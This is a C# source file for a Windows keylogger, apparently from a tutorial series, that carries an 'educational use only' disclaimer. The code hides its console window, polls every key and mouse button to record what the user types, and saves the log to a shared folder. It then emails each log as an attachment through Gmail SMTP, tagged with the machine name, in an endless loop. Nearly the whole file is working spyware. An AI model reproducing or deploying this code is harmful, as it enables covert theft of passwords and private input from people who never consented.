using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Runtime.InteropServices;
using System.Net.Mail;


//Author: ComputerAnalysis
//The Computer Analysis: Episode 2
//This code is designated for educational use only.
//Please do not plagiarize my code.
//I do not take responsiblity for any illegal uses of this code.

namespace KeyLogger
{ 
    class Program
    {
        [DllImport("user32.dll")]
        private static extern short GetAsyncKeyState(int vKey);
        
        [DllImport("user32.dll")]
        public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
        
        [DllImport("user32.dll")]
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

        static void Main(string[] args)
        {

            IntPtr hWnd = FindWindow(null, Console.Title); //Title of window that is to be closed.
            
            if (hWnd != IntPtr.Zero)
            {

                //Hide the window

                ShowWindow(hWnd, 0); // 0 = SW_HIDE

            }

            
            string log = "";

            nextLog:
            while (log.Length < 2500)
            {
                for (int i = 1; i < 255; i++)
                {
                    int result = GetAsyncKeyState(i);
                    
                    if (result != 0)
                    {
                        
                        log = log + checkExceptions(i);
                        System.Threading.Thread.Sleep(115); //115 works best for my computer.
							    //You may have to play around with the value.

                    }
                    

                }
                
            }

            DateTime current = DateTime.Now;
            string date = current.ToString();
            
            
            date = date.Replace(':','_');
            date = date.Replace('/', '_');
            string filePath = @"C:\Documents and Settings\All Users\Log_" + date + @".txt";
            FileStream myLog = new FileStream(filePath, FileMode.CreateNew, FileAccess.Write);
            StreamWriter sw = new StreamWriter(myLog);
            sw.Write(log);
            sw.Close();
            myLog.Close();

            
            SendMail("smtp.gmail.com", 587, "username", "password", "username@gmail.com", "username@gmail.com", "Key log for " + DateTime.Now.ToString(), "New Log from " + System.Environment.MachineName, true, filePath);
            log = "";
            goto nextLog;
            
            
        }

        public static string checkExceptions(int i) // makes log files easier to read and cleaner
        {
            switch (i)
            {
                case 1:
                    return "<Left Click>";
                case 2:
                    return "<Right Click>";
                case 13:
                    return "<Enter>";
                case 9:
                    return "<Tab>";
                case 20:
                    return "<Caps Lock>";
                case 160:
                    return "<Left Shift>";
                case 161:
                    return "<Right Shift>";
                case 16:
                    return "";
                case 162:
                    return "<Ctrl>";
                case 163:
                    return "<Ctrl>";
                case 17:
                    return "";
                case 164:
                    return "<Alt>";
                case 165:
                    return "<Alt>";
                case 18:
                    return "";
                case 93:
                    return "<Menu Key>";
                case 37:
                    return "<Left Arrow>";
                case 39:
                    return "<Right Arrow>";
                case 38:
                    return "<Up Arrow>";
                case 40:
                    return "<Down Arrow>";
                case 220:
                    return "\\";
                case 191:
                    return "/";
                case 222:
                    return "'";
                case 186:
                    return ";";
                case 8:
                    return "<BackSpace>";
                case 33:
                    return "<Page Up>";
                case 34:
                    return "<Page Down>";
                case 35:
                    return "<End>";
                case 36:
                    return "<Home>";
                case 144:
                    return "<Num Lk>";
                case 44:
                    return "<Prnt Scrn>";
                case 45:
                    return "<Insert>";
                case 112:
                    return "<F1>";
                case 113:
                    return "<F2>";
                case 114:
                    return "<F3>";
                case 115:
                    return "<F4>";
                case 116:
                    return "<F5>";
                case 117:
                    return "<F6>";
                case 118:
                    return "<F7>";
                case 119:
                    return "<F8>";
                case 120:
                    return "<F9>";
                case 121:
                    return "<F10>";
                case 122:
                    return "<F11>";
                case 123:
                    return "<F12>";
                case 219:
                    return "[";
                case 221:
                    return "]";
                case 189:
                    return "-";
                case 187:
                    return "=";
                case 91:
                    return "<Windows Key>";
                case 188:
                    return ",";
                case 190:
                    return ".";
                default:
                    return ((char)i).ToString();
            }
        }

        public static void SendMail(string host, int port, string userName, string pswd, string fromAddress, string toAddress, string body, string subject, bool sslEnabled, string fileName)
        {

            Attachment att = new Attachment(fileName);
            MailMessage msg = new MailMessage(new MailAddress(fromAddress), new MailAddress(toAddress));
            //  Create a MailMessage object with a from and to address
            msg.Subject = subject;
            //  Add your subject
            msg.SubjectEncoding = System.Text.Encoding.UTF8;
            msg.Body = body;
            //  Add the body of your message
            msg.BodyEncoding = System.Text.Encoding.UTF8;
            msg.IsBodyHtml = false; //  Does the body contain html
            msg.Attachments.Add(att);
            SmtpClient client = new SmtpClient(host, port);
            //  Create an instance of SmtpClient with your smtp host and port
            client.Credentials = new System.Net.NetworkCredential(userName, pswd);
            //  Assign your username and password to connect to gmail
            client.EnableSsl = sslEnabled;  //  Enable SSL
            try
            {
                client.Send(msg);   //  Try to send your message
                Console.WriteLine("Your message was sent successfully.");
                //  A method to update a ui element with a message

            }
            catch (SmtpException ex)
            {
                Console.WriteLine("There was an error sending your message. {0}", ex.Message);
            }
        }
    }
}